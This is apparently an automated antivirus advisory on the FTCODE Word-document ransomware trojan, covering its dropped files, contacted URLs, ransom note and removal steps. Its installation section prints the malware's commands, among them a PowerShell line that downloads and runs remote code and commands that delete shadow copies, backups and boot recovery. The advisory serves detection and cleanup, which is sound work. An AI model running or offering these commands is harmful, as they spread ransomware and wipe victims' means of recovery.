Trojan.W97M.FTCODE.B
Windows
![](/vinfo/imgFiles/legend.jpg)
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It drops files as ransom note.
TECHNICAL DETAILS
13,631,489 bytes
DOC
Yes
22 Oct 2019
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following copies of itself into the affected system:
- {malware path and file name}
It adds the following processes:
- "%System%\WindowsPowerShell\v1.0\powershell.exe" iex ((New-Object Net.WebClient).DownloadString('http://ceco.{BLOCKED}geins.co/?{random characters}'));
- powershell iex ((New-Object Net.WebClient).DownloadString('http://ceco.{BLOCKED}geins.co/?{random characters}'));
- %System%\cmd.exe /c bcdedit /set vbdfybfjzs bootstatuspolicy ignoreallfailures
- %System%\cmd.exe /c bcdedit /set vbdfybfjzs recoveryenabled no
- %System%\cmd.exe /c wbadmin delete catalog -quiet
- %System%\cmd.exe /c wbadmin delete systemstatebackup
- %System%\cmd.exe /c wbadmin delete backup
- %System%\cmd.exe /c vssadmin delete shadows /all /quiet
It creates the following folders:
- %System Root%\Users\Public\OracleKit
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
Other System Modifications
This Trojan modifies the following file(s):
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt
- %User Temp%\dd_vcredistUI0FD5.txt
- %Application Data%\Microsoft\Office\Word12.pip
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt
- %User Temp%\dd_SetupUtility.txt
- %User Temp%\dd_vcredistUI0FC1.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt
- %User Temp%\dd_vcredistMSI0FD5.txt
- %User Temp%\dd_vcredistMSI0FC1.txt
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
Dropping Routine
This Trojan drops the following files:
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt.e83008
- %User Temp%\dd_vcredistUI0FD5.txt.e83008
- %System Root%\Users\Public\OracleKit\w00log03.tmp
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt
- %Application Data%\Microsoft\Office\Word12.pip
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt
- %User Temp%\dd_SetupUtility.txt.e83008
- %User Temp%\dd_vcredistUI0FC1.txt.e83008
- %User Temp%\dd_vcredistMSI0FD5.txt
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt.e83008
- %User Temp%\dd_vcredistMSI0FD5.txt.e83008
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt.e83008
- %Application Data%\Microsoft\UProof\CUSTOM.DIC
- %User Temp%\dd_vcredistUI0FD5.txt
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt.e83008
- %User Temp%\dd_vcredistMSI0FC1.txt.e83008
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt
- %User Temp%\dd_SetupUtility.txt
- %User Temp%\dd_vcredistUI0FC1.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt
- %User Temp%\dd_vcredistMSI0FC1.txt
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
Other Details
This Trojan connects to the following possibly malicious URL:
- http://ceco.{BLOCKED}geins.co/?{random characters}
- http://denni.{BLOCKED}hughesagency.com
- http://power.{BLOCKED}yquote.com
Ransomware Routine
This Trojan drops the following file(s) as ransom note:
- READ_ME_NOW.htm
This report is generated via an automated analysis system.
SOLUTION
9.850
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Identify and terminate files detected as Trojan.W97M.FTCODE.B
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 3
Search and delete these components
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt.e83008
- %User Temp%\dd_vcredistUI0FD5.txt.e83008
- %System Root%\Users\Public\OracleKit\w00log03.tmp
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt
- %Application Data%\Microsoft\Office\Word12.pip
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt
- %User Temp%\dd_SetupUtility.txt.e83008
- %User Temp%\dd_vcredistUI0FC1.txt.e83008
- %User Temp%\dd_vcredistMSI0FD5.txt
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt.e83008
- %User Temp%\dd_vcredistMSI0FD5.txt.e83008
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt.e83008
- %Application Data%\Microsoft\UProof\CUSTOM.DIC
- %User Temp%\dd_vcredistUI0FD5.txt
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt.e83008
- %User Temp%\dd_vcredistMSI0FC1.txt.e83008
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt
- %User Temp%\dd_SetupUtility.txt
- %User Temp%\dd_vcredistUI0FC1.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt
- %User Temp%\dd_vcredistMSI0FC1.txt
Step 4
Search and delete this folder
- %System Root%\Users\Public\OracleKit
Step 5
Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.FTCODE.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Step 6
Restore deleted/modified files and/or registry entries from backup
*Note: Only Microsoft-related files/keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt
- %User Temp%\dd_vcredistUI0FD5.txt
- %Application Data%\Microsoft\Office\Word12.pip
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt
- %User Temp%\dd_SetupUtility.txt
- %User Temp%\dd_vcredistUI0FC1.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt
- %User Temp%\dd_vcredistMSI0FD5.txt
- %User Temp%\dd_vcredistMSI0FC1.txt
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